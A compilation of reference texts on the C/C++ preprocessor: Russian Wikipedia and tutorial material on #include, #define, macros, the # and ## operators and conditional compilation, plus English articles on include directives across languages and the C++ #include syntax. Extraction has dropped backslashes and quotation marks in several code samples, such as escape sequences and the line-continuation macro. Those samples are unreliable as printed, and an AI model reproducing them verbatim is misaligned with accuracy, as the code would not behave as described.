Препроцессор C/C++ (англ. pre processor, предобработчик) — программа, подготавливающая код программы на языке C/C++ к компиляции.
Основные функции препроцессора[править | править код]
Препроцессором выполняются следующие действия:
- замена соответствующих диграфов и триграфов на эквивалентные символы «
#
» и «»;
- удаление экранированных символов перевода строки;
- замена строчных и блочных комментариев пустыми строками (с удалением окружающих пробелов и символов табуляции);
- вставка (включение) содержимого произвольного файла (
#include
); - макроподстановки (
#define
); - условная компиляция (
#if
,#ifdef
,#elif
,#else
,#endif
); - вывод сообщений (
#warning
,#error
).
Условная компиляция позволяет выбрать код для компиляции в зависимости от:
- модели процессора (платформы);
- разрядности адресов;
- размерности типов;
- наличия/отсутствия поддержки расширений языка;
- наличия/отсутствия библиотек и/или функций;
- особенностей поведения конкретных функций;
- и другого.
Этапы работы препроцессора:
- лексический анализ кода C/C++ (синтаксический анализ не выполняется);
- обработка директив;
- выполнение подстановок:
- диграфов и триграфов;
- комментариев;
- директив;
- лексем, заданных директивами.
Язык препроцессора C/C++ не является полным по Тьюрингу хотя бы потому, что с помощью директив невозможно заставить препроцессор зависнуть. См. рекурсивная функция (теория вычислимости).
Синтаксис директив[править | править код]
Директивой (командной строкой) препроцессора называется строка в исходном коде, имеющая следующий формат: #ключевое_слово параметры
:
- символ
#
; - ноль или более символов пробелов и/или табуляции;
- одно из предопределённых ключевых слов;
- параметры, зависимые от ключевого слова.
Список ключевых слов:
define
— создание константы или макроса;undef
— удаление константы или макроса;include
— вставка содержимого указанного файла;if
— проверка истинности выражения;ifdef
— проверка существования константы или макроса;ifndef
— проверка несуществования константы или макроса;else
— ветка условной компиляции при ложности выраженияif
;elif
— проверка истинности другого выражения; краткая форма записи для комбинацииelse
иif
;endif
— конец ветки условной компиляции;line
— указание имени файла и номера текущей строки для компилятора;error
— вывод сообщения и остановка компиляции;warning
— вывод сообщения без остановки компиляции;pragma
— указание действия, зависящего от реализации, для препроцессора или компилятора;- если ключевое слово не указано, директива игнорируется;
- если указано несуществующее ключевое слово, выводится сообщение об ошибке и компиляция прерывается. (В некоторых компиляторах, таких как g++, компиляция продолжается, просто показывая предупреждение.)
Описание директив[править | править код]
Вставка файлов (#include)[править | править код]
При обнаружении директив #include "..."
и #include <...>
, где «…» — имя файла, препроцессор читает содержимое указанного файла, выполняет директивы и замены (подстановки), заменяет директиву #include
на директиву #line
и обработанное содержимое файла.
Для #include "..."
поиск файла выполняется в текущей папке и папках, указанных в командной строке компилятора. Для #include <...>
поиск файла выполняется в папках, содержащих файлы стандартной библиотеки (пути к этим папкам зависят от реализации компилятора).
При обнаружении директивы #include последовательность-лексем
, не совпадающей ни с одной из предыдущих форм, рассматривает последовательность лексем как текст, который в результате всех макроподстановок должен дать #include <...>
или #include "..."
. Сгенерированная таким образом директива далее будет интерпретироваться в соответствии с полученной формой.
Включаемые файлы обычно содержат:
- объявления функций;
- объявления глобальных переменных;
- определения интерфейсов;
- определения типов данных;
- и другое.
Директива #include
обычно указывается в начале файла (в заголовке), поэтому включаемые файлы называются заголовочными.
Пример включения файлов из стандартной библиотеки языка C.
#include <math.h> // включение объявлений математических функций #include <stdio.h> // включение объявлений функций ввода-вывода
Использование препроцессора считается неэффективным по следующим причинам:
- каждый раз при включении файлов выполняются директивы и замены (подстановки); компилятор мог бы сохранять результаты препроцессирования для использования в будущем;
- множественные включения одного файла приходится предотвращать вручную с помощью директив условной компиляции; компилятор мог бы выполнять эту задачу самостоятельно.
Начиная с 1970-х годов стали появляться способы, заменившие включение файлов. В языках Java и Common Lisp используются пакеты (ключевое слово package
) (см. package в Java), в языке Паскаль — англ. units (ключевые слова unit
и uses
), в языках Modula, OCaml, Haskell и Python — модули. В языке D, разработанном для замены языков C и C++, используется ключевые слова module
и import
.
Константы и макросы #define[править | править код]
Константы и макросы препроцессора используются для определения небольших фрагментов кода.
// константа #define BUFFER_SIZE 1024 // макрос #define NUMBER_OF_ARRAY_ITEMS( array ) ( sizeof( array ) / sizeof( *(array) ) )
Каждая константа и каждый макрос заменяются соответствующим им определением. Макросы имеют параметры, похожи на функции, используются для уменьшения накладных расходов при вызове функций в случаях, когда небольшого кода, вызываемого функцией, достаточно для ощутимого снижения производительности.
Пример. Определение макроса max, принимающего два аргумента: a и b.
#define max( a, b ) ( (a) > (b) ? (a) : (b) )
Макрос вызывается так же, как и любая функция.
После замены макроса код будет выглядеть следующим образом:
z = ( (x) > (y) ? (x) : (y) );
Однако, наряду с преимуществами использования макросов в языке Си, например, для определения обобщённых типов данных или отладочных инструментов, они также несколько снижают эффективность их применения и даже могут привести к ошибкам.
Например, если f и g — две функции, вызов
не вычислит один раз f()и один раз g(), и поместит наибольшее значение в z, как этого можно было ожидать. Вместо этого одна из функций будет вычислена дважды. Если функция имеет побочные эффекты, то вероятно, что её поведение будет отличаться от ожидаемого.
Макросы Си могут походить на функции, создавая новый синтаксис в некоторых пределах, а также могут быть дополнены произвольным текстом (хотя компилятор Си требует, чтобы текст был без ошибок написанным Си-кодом или оформлен как комментарий), но у них есть некоторые ограничения как у программных конструкций. Макросы, схожие с функциями, например, могут быть вызваны как «настоящие» функции, но макрос не может быть передан другой функции при помощи указателя, по той причине, что макрос сам по себе не имеет адреса.
Некоторые современные языки обычно не используют такой способ метапрограммирования с использованием макросов как дополнений строк символов, в расчете или на автоматическое, или на ручное подключение функций и методов, а вместо этого — другие способы абстракции, такие как шаблоны, обобщённые функции или параметрический полиморфизм. В частности, встраиваемые функции[en] позволяют избежать одного из главных недостатков макросов в современных версиях Си и C++, так как то, что встроенная функция обеспечивает преимущество макросов в снижении накладных расходов при вызове функции, но её адрес можно передавать в указателе для косвенных вызовов или использовать в качестве параметра. Аналогично, проблема множественных вычислений, упомянутая выше в макросе max, для встроенных функций неактуальна.
Константы #define можно заменить на enum, а макросы — на функции inline
.
Операторы # и ##[править | править код]
Эти операторы используются при создании макросов. Оператор # обрамляет параметр макроса в двойные кавычки, например:
#define make_str( bar ) # bar printf( make_str( 42 ) );
препроцессор преобразует в:
Оператор ## в макросах объединяет две лексемы, например:
#define MakePosition( x ) x##X, x##Y, x##Width, x##Height int MakePosition( Object );
препроцессор преобразует в:
int ObjectX, ObjectY, ObjectWidth, ObjectHeight;
Формальное описание макроподстановок[править | править код]
1) Управляющая строка следующего вида заставляет препроцессор заменять идентификатор на последовательность лексем везде далее по тексту программы:
#define идентификатор последовательность_лексем
При этом символы пустого пространства в начале и в конце последовательности лексем выбрасываются.
Повторная строка #define с тем же идентификатором считается ошибкой,
если последовательности лексем не идентичны (несовпадения в символах пустого пространства не играют роли).
2) Строка следующего вида, где между первым идентификатором и открывающей круглой скобкой не должно быть символов пустого пространства,
представляет собой макроопределение с параметрами, задаваемыми списком-идентификаторов.
#define идентификатор( список_идентификаторов ) последовательность_лексем
Как и в первой форме, символы пустого пространства в начале и в конце последовательности лексем выбрасываются,
и макрос может быть повторно определен только с идентичным по количеству и именам списком параметров и с той же последовательностью лексем.
Управляющая строка следующего вида приказывает препроцессору «забыть» определение, данное идентификатору:
Применение директивы #undef к не определенному ранее идентификатору не считается ошибкой.
{
- Если макроопределение было задано во второй форме, то любая следующая далее в тексте программы цепочка символов, состоящая из идентификатора макроса (возможно, с последующими символами пустого пространства), открывающей скобки, списка лексем, разделенных запятыми, и закрывающей скобки, представляет собой вызов макроса.
- Аргументами вызова макроса являются лексемы, разделенные запятыми, причем запятые, взятые в кавычки или вложенные круглые скобки, в разделении аргументов не участвуют.
- (!)Во время группировки аргументов раскрытие макросов в них не выполняется.
- Количество аргументов в вызове макроса должно соответствовать количеству параметров макроопределения.
- После выделения аргументов из текста символы пустого пространства, окружающие их, отбрасываются.
- Затем в замещающей последовательности лексем макроса каждый идентификатор-параметр, не взятый в кавычки, заменяется на соответствующий ему фактический аргумент из текста.
- (!)Если в замещающей последовательности перед параметром не стоит знак #, если и ни перед ним, ни после него нет знака ##, то лексемы аргумента проверяются на наличие в них макровызовов; если таковые есть, то до подстановки аргумента в нём выполняется раскрытие соответствующих макросов.
На процесс подстановки влияют два специальных знака операций.
- Во-первых, если перед параметром в замещающей строке лексем вплотную стоит знак #, то вокруг соответствующего аргумента ставятся строковые кавычки («), а потом идентификатор параметра вместе со знаком # заменяется получившимся строковым литералом.
- Перед каждым символом » или , встречающимся вокруг или внутри строковой или символьной константы, автоматически вставляется обратная косая черта.
- Во-вторых, если последовательность лексем в макроопределении любого вида содержит знак ##, то сразу после подстановки параметров он вместе с окружающими его символами пустого пространства отбрасывается, благодаря чему сцепляются соседние лексемы, образуя тем самым новую лексему.
- Результат не определён при генерировании таким образом недопустимых лексем языка или в случае, когда получающийся текст зависит от порядка применения операции ##.
- Кроме того, знак ## не может стоять ни в начале, ни в конце замещающей последовательности лексем.
}
- (!)В макросах обоих видов замещающая последовательность лексем повторно просматривается в поиске новых define-идентификаторов.
- (!)Однако если какой-либо идентификатор уже был заменен в текущем процессе раскрытия, повторное появление такого идентификатора не вызовет его замены; он останется нетронутым.
- (!)Даже если развернутая строка макровызова начинается со знака #, она не будет воспринята как директива препроцессора.
Восклицательным знаком (!) отмечены правила, отвечающие за рекурсивные вызов и определения.
Пример раскрытия макроопределения[править | править код]
#define cat( x, y ) х ## у
Вызов макроса «cat(var, 123)» будет заменён на «var123».
Однако вызов «cat(cat(1, 2), 3)» не даст желаемого результата. Рассмотрим шаги работы препроцессора:
0: cat( cat( 1, 2 ), 3 ) 1: cat( 1, 2 ) ## 3 2: cat( 1, 2 )3
Операция «##» помешала правильному раскрытию аргументов второго вызова «cat».
В результате получилась следующая цепочка лексем:
где «)3» — результат сцепления последней лексемы первого аргумента с первой лексемой второго аргумента, не является допустимой лексемой.
Можно задать второй уровень макроопределения в таком виде:
#define xcat( x, y ) cat( x, y )
Вызов «xcat(xcat(1, 2), 3)» будет заменён на «123». Рассмотрим шаги работы препроцессора:
0: xcat( xcat( 1, 2 ), 3 ) 1: сat( xcat( 1, 2 ), 3 ) 2: cat( cat( 1, 2 ), 3 ) 3: cat( 1 ## 2, 3 ) 4: cat( 12, 3 ) 5: 12 ## 3 6: 123
Всё прошло благополучно, потому что в раскрытии макроса «xcat» не участвовал оператор «##».
Многие статические анализаторы не умеют правильно обрабатывать макросы, поэтому качество статического анализа снижается[источник не указан 2619 дней].
Предопределённые константы #define[править | править код]
Константы, создаваемые препроцессором автоматически:
__LINE__
заменяется на номер текущей строки; номер текущей строки может быть переопределен директивой#line
; используется для отладки;__FILE__
заменяется на имя файла; имя файла тоже может быть переопределено с помощью директивы#line
;__FUNCTION__
заменяется на имя текущей функции;__DATE__
заменяется на текущую дату (на момент обработки кода препроцессором);__TIME__
заменяется на текущее время (на момент обработки кода препроцессором);__TIMESTAMP__
заменяется на текущие дату и время (на момент обработки кода препроцессором);__COUNTER__
заменяется на уникальное число, начиная от 0; после каждой замены число увеличивается на единицу;__STDC__
заменяется на 1, если компиляция происходит в соответствии со стандартом языка C;__STDC_HOSTED__
определена в C99 и выше; заменяется на 1, если выполнение происходит под управлением ОС;__STDC_VERSION__
определена в C99 и выше; для C99 заменяется на число 199901, а для C11 — на число 201112;__STDC_IEC_559__
определена в C99 и выше; константа существует, если компилятор поддерживает операции с числами с плавающей точкой по стандарту IEC 60559;__STDC_IEC_559_COMPLEX__
определена в C99 и выше; константа существует, если компилятор поддерживает операции с комплексными числами по стандарту IEC 60559; стандарт C99 обязывает поддерживать операции с комплексными числами;__STDC_NO_COMPLEX__
определена в C11; заменяется на 1, если не поддерживаются операции с комплексными числами;__STDC_NO_VLA__
определена в C11; заменяется на 1, если не поддерживаются массивы переменной длины; в С99 массивы переменной длины обязательно должны поддерживаться;__VA_ARGS__
определена в C99 и позволяет создавать макросы с переменным числом аргументов.
Условная компиляция[править | править код]
Препроцессор языка Си предоставляет возможность компиляции с условиями. Это допускает возможность существования различных версий одного кода. Обычно такой подход используется для настройки программы под платформу компилятора, состояние (отлаживаемый код может быть выделен в результирующем коде) или возможность проверки подключения файла строго один раз.
В общем случае, программисту необходимо использовать конструкцию типа:
# ifndef FOO_H # define FOO_H ...(код заголовочного файла)... # endif
Такая «защита макросов» предотвращает двойное подключение заголовочного файла путём проверки существования этого макроса, который имеет то же самое имя, что и заголовочный файл. Определение макроса FOO_H происходит, когда заголовочный файл впервые обрабатывается препроцессором. Затем, если этот заголовочный файл вновь подключается, FOO_H уже определен, в результате чего препроцессор пропускает полностью текст этого заголовочного файла.
То же самое можно сделать, включив в заголовочный файл директиву:
Условия препроцессора можно задавать несколькими способами, например:
# ifdef x ... # else ... # endif
или
# if x ... # else ... # endif
Этот способ часто используется в системных заголовочных файлах для проверки различных возможностей, определение которых может меняться в зависимости от платформы; например, библиотека Glibc использует макросы с проверкой особенностей с целью проверить, что операционная система и оборудование их (макросы) корректно поддерживает при неизменности программного интерфейса.
Большинство современных языков программирования не использует такие возможности, больше полагаясь на традиционные операторы условия if...then...else...
, оставляя компилятору задачу извлечения бесполезного кода из компилируемой программы.
Диграфы и триграфы[править | править код]
См. диграфы и триграфы в языках C/C++.
Препроцессор обрабатывает диграфы «%:
» («#
»), «%:%:
» («##
») и триграфы «??=
» («#
»), «??/
» («»).
Препроцессор считает последовательность «%:%:» двумя токенами при обработке кода C и одним токеном при обработке кода C++.
См. также[править | править код]
- Макропроцессор m4
- X Macro[en]
Примечания[править | править код]
Ссылки[править | править код]
- Документация к препроцессору GCC Архивная копия от 26 марта 2011 на Wayback Machine (англ.)
From Wikipedia, the free encyclopedia
Many programming languages and other computer files have a directive, often called include
, import
, or copy
, that causes the contents of the specified file to be inserted into the original file. These included files are called header files or copybooks. They are often used to define the physical layout of program data, pieces of procedural code, and/or forward declarations while promoting encapsulation and the reuse of code or data.
[edit]
In computer programming, a header file is a file that allows programmers to separate certain elements of a program’s source code into reusable files. Header files commonly contain forward declarations of classes, subroutines, variables, and other identifiers. Programmers who wish to declare standardized identifiers in more than one source file can place such identifiers in a single header file, which other code can then include whenever the header contents are required. This is to keep the interface in the header separate from the implementation.
[1]
The C standard library and the C++ standard library traditionally declare their standard functions in header files.
Some recently created compiled languages (such as Java and C#) do not use forward declarations; identifiers are recognized automatically from source files and read directly from dynamic library symbols. This means header files are not needed.
Purpose[edit]
The include
directive allows libraries of code to be developed which help to:
- ensure that everyone uses the same version of a data layout definition or procedural code throughout a program,
- easily cross-reference where components are used in a system,
- easily change programs when needed (only one file must be edited), and
- save time by reusing data layouts.
Example[edit]
An example situation which benefits from the use of an include directive is when referring to functions in a different file. Suppose there is some C source file containing a function add
, which is referred to in a second file by first declaring its external existence and type (with a function prototype) as follows:
int add(int, int); int triple(int x) { return add(x, add(x, x)); }
One drawback of this approach is that the function prototype must be present in all files that use the function. Another drawback is that if the return type or arguments of the function are changed, all of these prototypes would need to be updated. Putting the prototype in a single, separate file avoids these issues. Assuming the prototype is moved to the file add.h
, the second source file can then become:
#include "add.h" int triple(int x) { return add(x, add(x,x)); }
Now, every time the code is compiled, the latest function prototypes in add.h
will be included in the files using them, avoiding potential errors.
Language support[edit]
C/C++[edit]
In the C and C++ programming languages, the #include
preprocessor directive causes the compiler to replace that line with the entire text of the contents of the named source file (if included in quotes: «») or named header (if included in angle brackets: <>);[2] note that a header doesn’t need to be a source file.[3] Inclusion continues recursively on these included contents, up to an implementation-defined nesting limit. Headers need not have names corresponding to files: in C++ standard headers are typically identified with words, like «vector», hence #include <vector>
, while in C standard headers have identifiers in the form of filenames with a «.h» extension, as in #include <stdio.h>
. A «source file» can be any file, with a name of any form, but is most commonly named with a «.h» extension and called a «header file» (sometimes «.hpp» or «.hh» to distinguish C++ headers), though files with .c, .cc, and .cpp extensions may also be included (particularly in the single compilation unit technique), and sometimes other extensions are used.
These two forms of #include
directive can determine which header or source file to include in an implementation-defined way. In practice, what is usually done is that the angle-brackets form searches for source files in a standard system directory (or set of directories), and then searches for source files in local or project-specific paths (specified on the command line, in an environment variable, or in a Makefile or other build file), while the form with quotes does not search in a standard system directory, only searching in local or project-specific paths.[4] In case there is no clash, the angle-brackets form can also be used to specify project-specific includes, but this is considered poor form. The fact that headers need not correspond to files is primarily an implementation technicality, and is used to omit the .h extension in including C++ standard headers; in common use, «header» means «header file».
For example:
#include <stdio.h> // Include the contents of the standard header 'stdio.h' (probably a file 'stdio.h'). #include <vector> // Include the contents of the standard header 'vector' (probably a file 'vector.h'). #include "user_defined.h" // Include the contents of the file 'user_defined.h'.
In C and C++, problems may be faced if two (or more) include files contain the same third file. One solution is to avoid include files from including any other files, possibly requiring the programmer to manually add extra include directives to the original file. Another solution is to use include guards.[5]
COBOL[edit]
COBOL (and also RPG IV) allows programmers to copy copybooks into the source of the program in a similar way to header files, but it also allows for the replacement of certain text in them with other text. The COBOL keyword for inclusion is COPY
, and replacement is done using the REPLACING ... BY ...
clause. An include directive has been present in COBOL since COBOL 60, but changed from the original INCLUDE
[6] to COPY
by 1968.[7]
Fortran[edit]
Fortran does not require header files per se. However, Fortran 90 and later have two related features: include
statements and modules. The former can be used to share a common file containing procedure interfaces, much like a C header, although the specification of an interface is not required for all varieties of Fortran procedures. This approach is not commonly used; instead, procedures are generally grouped into modules that can then be referenced with a use
statement within other regions of code. For modules, header-type interface information is automatically generated by the compiler and typically put into separate module files, although some compilers have placed this information directly into object files. The language specification itself does not mandate the creation of any extra files, even though module procedure interfaces are almost universally propagated in this manner.
Pascal[edit]
Most Pascal compilers support the $i
or $include
compiler directive, in which the $i
or $include
directive immediately follows the start of a comment block in the form of
{$i filename.pas}
(*$I filename.inc*)
{$include filename.inc}
(*INCLUDE filename.pas*)
Where the $i
or $include
directive is not case sensitive, and filename.pas or filename.inc is the name of the file to be included. (It has been common practice to name Pascal’s include files with the extension .inc, but this is not required.) Some compilers, to prevent unlimited recursion, limit invoking an include file to a certain number, prohibit invoking itself or any currently open file, or are limited to a maximum of one include file at a time, e.g. an include file cannot include itself or another file. However, the program that includes other files can include several, just one at a time.
PHP[edit]
In PHP, the include
directive causes another PHP file to be included and evaluated.[8] Similar commands are require
, which upon failure to include will produce a fatal exception and halt the script,[9] and include_once
and require_once
, which prevent a file from being included or required again if it has already been included or required, avoiding the C’s double inclusion problem.
Other languages[edit]
There are many forms of the include directive, such as:
include ...
(Fortran, MASM)<!--#include ... -->
(HTML SSI)import ...;
(Java)import ... from ...
(JavaScript as in ECMAScript)var ... = require("...")
(JavaScript with CommonJS)<%@ include ... %>
(JSP){$I ...}
(UCSD Pascal, Turbo Pascal)%include ...
(PL/I)import ...
(Python)/COPY QCPYLESRC,QBC
(RPG IV – first argument is the filename, second argument is the copybook)use ...;
(Rust)using ...;
(C#)local ... = require("...")
(Lua)import ...;
(D)
Modern languages (e.g. Haskell and Java) tend to avoid copybooks or includes, preferring modules and import/export systems for namespace control. Some of these languages (such as Java and C#) do not use forward declarations and, instead, identifiers are recognized automatically from source files and read directly from dynamic library symbols (typically referenced with import
or using
directives), meaning header files are not needed.
See also[edit]
- Application programming interface (API)
- Precompiled header
- Subroutine
- Modular programming
- #pragma once
- Header-only
- Unity build
- Transclusion
- File inclusion vulnerability
- One Definition Rule (ODR)
- Interface Definition Language (IDL)
- Class implementation file
References[edit]
- ^
Alan Griffiths (2005). «Separating Interface and Implementation in C++». ACCU. Retrieved 2013-05-07. - ^ C11 standard, 6.10.2 Source file inclusion, pp. 164–165
- ^ C11 standard, 7.1.2 Standard headers, p. 181, footnote 182: «A header is not necessarily a source file, nor are the
<
and>
delimited sequences in header names necessarily valid source file names. - ^ Stallman, Richard M. (July 1992). «The C Preprocessor» (PDF). Archived from the original (PDF) on 4 September 2012. Retrieved 19 February 2014.
- ^ Pike, Rob (21 Feb 1989), Notes on programming in C, Cat-v document archive, retrieved 9 Dec 2011
- ^ «COBOL Initial Specifications for a COmmon Business Oriented Language» (PDF). Department of Defense. April 1960. p. IX-9. Archived from the original (PDF) on 12 February 2014. Retrieved 11 February 2014.
- ^ «The COPY Statement». CODASYL COBOL Journal of Development 1968. July 1969. LCCN 73601243.
- ^ «include». php.net. The PHP Group. Retrieved 20 February 2014.
- ^ «require». php.net. The PHP Group. Retrieved 20 February 2014.
External links[edit]
- Organizing Code Files (the potential pitfalls and guidelines for using header files in C++)
- C++ header file inclusion rules
Препроцессор — это специальная программа, являющаяся частью компилятора языка Си. Она предназначена для предварительной обработки текста программы. Препроцессор позволяет включать в текст программы файлы и вводить макроопределения.
Работа препроцессора осуществляется с помощью специальных директив (указаний). Они отмечаются знаком решетка #. По окончании строк, обозначающих директивы в языке Си, точку с запятой можно не ставить.
Основные директивы препроцессора
#include — вставляет текст из указанного файла
#define — задаёт макроопределение (макрос) или символическую константу
#undef — отменяет предыдущее определение
#if — осуществляет условную компиляцию при истинности константного выражения
#ifdef — осуществляет условную компиляцию при определённости символической константы
#ifndef — осуществляет условную компиляцию при неопределённости символической константы
#else — ветка условной компиляции при ложности выражения
#elif — ветка условной компиляции, образуемая слиянием else и if
#endif — конец ветки условной компиляции
#line — препроцессор изменяет номер текущей строки и имя компилируемого файла
#error — выдача диагностического сообщения
#pragma — действие, зависящее от конкретной реализации компилятора.
Директива #include
Директива #include позволяет включать в текст программы указанный файл. Если заголовочный файл содержит описание библиотечных функций и находится в папке компилятора, он заключается в угловые скобки <>.
Если файл находится в текущем каталоге проекта, он указывается в кавычках «». Для файла, находящегося в другом каталоге необходимо в кавычках указать полный путь.
#include <stdio.h>
#include «func.c»
Директива #define позволяет вводить в текст программы константы и макроопределения.
Общая форма записи
#define Идентификатор Замена
Поля Идентификатор и Замена разделяются одним или несколькими пробелами.
Директива #define указывает компилятору, что нужно подставить строку, определенную аргументом Замена, вместо каждого аргумента Идентификатор в исходном файле. Идентификатор не заменяется, если он находится в комментарии, в строке или как часть более длинного идентификатора.
1
2
3
4
5
6
7
8
#include <stdio.h>
#define A 3
int main()
{
printf(«%d + %d = %d», A, A, A+A); // 3 + 3 = 6
getchar();
return 0;
}
В зависимости от значения константы компилятор присваивает ей тот или иной тип. С помощью суффиксов можно переопределить тип константы:
- U или u представляет целую константу в беззнаковой форме (unsigned);
- F (или f) позволяет описать вещественную константу типа float;
- L (или l) позволяет выделить целой константе 8 байт (long int);
- L (или l) позволяет описать вещественную константу типа long double
#define A 280U // unsigned int
#define B 280LU // unsigned long int
#define C 280 // int (long int)
#define D 280L // long int
#define K 28.0 // double
#define L 28.0F // float
#define M 28.0L // long double
Вторая форма синтаксиса определяет макрос, подобный функции, с параметрами. Эта форма допускает использование необязательного списка параметров, которые должны находиться в скобках. После определения макроса каждое последующее вхождение
идентификатор(аргумент1, …, агрументn)
замещается версией аргумента замена, в которой вместо формальных аргументов подставлены фактические аргументы.
Пример на Си: Вычисление синуса угла
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
#define PI 3.14159265
#define SIN(x) sin(PI*x/180)
int main()
{
int c;
system(«chcp 1251»);
system(«cls»);
printf(«Введите угол в градусах: «);
scanf(«%d», &c);
printf(«sin(%d)=%lf», c, SIN(c));
getchar(); getchar();
return 0;
}
Результат выполнения
Отличием таких макроопределений от функций в языке Си является то, что на этапе компиляции каждое вхождение идентификатора замещается соответствующим кодом. Таким образом, программа может иметь несколько копий одного и того же кода, соответствующего идентификатору. В случае работы с функциями программа будет содержать 1 экземпляр кода, реализующий указанную функцию, и каждый раз при обращении к функции ей будет передано управление.
Отменить макроопределение можно с помощью директивы #undef.
Однако при использовании таких макроопределений следует соблюдать осторожность, например
1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#define sum(A,B) A+B
int main()
{
int a, b, c, d;
a = 3; b = 5;
c = (a + b) * 2; // c = (a + b)*2
d = sum(a, b) * 2; // d = a + b*2;
printf(» a = %dn b = %dn», a, b);
printf(» c = %d n d = %d n», c, d);
getchar();
return 0;
}
Результат выполнения:
По умолчанию текст макроопределения должен размещаться на одной строке. Если требуется перенести текст макроопределения на новую строку, то в конце текущей строки ставится символ «обратный слеш» — .
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
#define sum(A,B) A +
B
int main()
{
int a, b, c, d;
a = 3; b = 5;
c = (a + b) * 2; // c = (a + b)*2
d = sum(a, b) * 2; // d = a + b*2;
printf(» a = %dn b = %dn», a, b);
printf(» c = %d n d = %d n», c, d);
getchar();
return 0;
}
Кроме того, директива #define позволяет замещать часть идентификатора. Для указания замещаемой части используется ##.
1
2
3
4
5
6
7
8
9
#include <stdio.h>
#define SUM(x,y) (a##x + a##y)
int main()
{
int a1 = 5, a2 = 3;
printf(«%d», SUM(1, 2)); // (a1 + a2)
getchar();
return 0;
}
Результат выполнения:
Условная компиляция
Директивы #if или #ifdef/#ifndef вместе с директивами #elif, #else и #endif управляют компиляцией частей исходного файла.
Если указанное выражение после #if имеет ненулевое значение, в записи преобразования сохраняется группа строк, следующая сразу за директивой #if. Синтаксис условной директивы следующий:
1
2
3
4
5
6
7
#if константное выражение
группа операций
#elif константное выражение
группа операций
#else
группа операций
#endif
Отличие директив #ifdef/#ifndef заключается в том, что константное выражение может быть задано только с помощью #define.
У каждой директивы #if в исходном файле должна быть соответствующая закрывающая директива #endif. Между директивами #if и #endif может располагаться любое количество директив #elif, однако допускается не более одной директивы #else. Директива #else, если присутствует, должна быть последней перед директивой #endif.
Пример
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <stdlib.h>
#define P 2
int main()
{
system(«chcp 1251»);
system(«cls»);
#if P==1
printf(«Выполняется ветка 1»);
#elif P==2
printf(«Выполняется ветка 2, P=%d», P);
#else
printf(«Выполняется другая ветка, P=%d», P);
#endif
getchar();
return 0;
}
Результат выполнения
Назад: Язык Си
Includes other source file into current source file at the line immediately after the directive.
[edit] Syntax
#include < h-char-sequence > new-line
|
(1) | |
#include " q-char-sequence " new-line
|
(2) | |
#include pp-tokens new-line
|
(3) | |
__has_include ( " q-char-sequence " ) __has_include ( < h-char-sequence > )
|
(4) | (since C++17) |
__has_include ( string-literal ) __has_include ( < h-pp-tokens > )
|
(5) | (since C++17) |
1) Searches for a header identified uniquely by h-char-sequence and replaces the directive by the entire contents of the header.
2) Searches for a source file identified by q-char-sequence and replaces the directive by the entire contents of the source file. It may fallback to (1) and treat q-char-sequence as a header identifier.
3) If neither (1) nor (2) is matched, pp-tokens will undergo macro replacement. The directive after replacement will be tried to match with (1) or (2) again.
4) Checks whether a header or source file is available for inclusion.
5) If (4) is not matched, h-pp-tokens will undergo macro replacement. The directive after replacement will be tried to match with (4) again.
new-line | — | The new-line character |
h-char-sequence | — | A sequence of one or more h-chars, where the appearance of any of the following is conditionally-supported with implementation-defined semantics:
|
h-char | — | Any member of the source character set (until C++23)translation character set (since C++23) except new-line and > |
q-char-sequence | — | A sequence of one or more q-chars, where the appearance of any of the following is conditionally-supported with implementation-defined semantics:
|
q-char | — | Any member of the source character set (until C++23)translation character set (since C++23) except new-line and « |
pp-tokens | — | A sequence of one or more preprocessing tokens |
string-literal | — | A string literal |
h-pp-tokens | — | A sequence of one or more preprocessing tokens except > |
[edit] Explanation
1) Searches a sequence of implementation-defined places for a header identified uniquely by h-char-sequence, and causes the replacement of that directive by the entire contents of the header. How the places are specified or the header identified is implementation-defined.
2) Causes the replacement of that directive by the entire contents of the source file identified by q-char-sequence. The named source file is searched for in an implementation-defined
manner. If this search is not supported, or if the search fails, the directive is reprocessed as if it reads syntax (1) with the identical contained sequence (including > characters, if any) from the original directive.
3) The preprocessing tokens after include
in the directive are processed just as in normal text (i.e., each identifier currently defined as a macro name is replaced by its replacement list of preprocessing tokens). If the directive resulting after all replacements does not match one of the two previous forms, the behavior is undefined. The method by which a sequence of preprocessing tokens between a < and a > preprocessing token pair or a pair of » characters is combined into
a single header name preprocessing token is implementation-defined.
4) The header or source file identified by h-char-sequence or q-char-sequence is searched for as if that preprocessing token sequence were the pp-tokens in syntax (3), except that no further macro expansion is performed. If such a directive would not satisfy the
syntactic requirements of an #include
directive, the program is ill-formed. The __has_include
expression evaluates to 1 if the search for the source file succeeds, and to 0 if the search fails.
5) This form is considered only if syntax (4) does not match, in which case the preprocessing tokens are processed just as in normal text.
If the header identified by the header-name (i.e.,
|
(since C++20) |
__has_include
can be expanded in the expression of
#if and
#elif. It is treated as a defined macro by
#ifdef,
#ifndef,
#elifdef,
#elifndef (since C++23) and defined but cannot be used anywhere else.
[edit] Notes
Typical implementations search only standard include directories for syntax (1). The standard C++ library and the standard C library are implicitly included in these standard include directories. The standard include directories usually can be controlled by the user through compiler options.
The intent of syntax (2) is to search for the files that are not controlled by the implementation. Typical implementations first search the directory where the current file resides then falls back to (1).
When a file is included, it is processed by translation phases 1-4, which may include, recursively, expansion of the nested #include
directives, up to an implementation-defined nesting limit. To avoid repeated inclusion of the same file and endless recursion when a file includes itself, perhaps transitively, header guards are commonly used: the entire header is wrapped in
#ifndef FOO_H_INCLUDED /* any name uniquely mapped to file name */ #define FOO_H_INCLUDED // contents of the file are here #endif
Many compilers also implement the non-standard pragma #pragma once with similar effects: it disables processing of a file if the same file (where file identity is determined in OS-specific way) has already been included.
A sequence of characters that resembles an escape sequence in q-char-sequence or h-char-sequence might result in an error, be interpreted as the character corresponding to the escape sequence, or have a completely different meaning, depending on the implementation.
A __has_include
result of 1 only means that a header or source file with the specified name exists. It does not mean that the header or source file, when included, would not cause an error or would contain anything useful. For example, on a C++ implementation that supports both C++14 and C++17 modes (and provides __has_include in its C++14 mode as a conforming extension), __has_include(<optional>) may be 1 in C++14 mode, but actually #include <optional> may cause an error.
[edit] Example
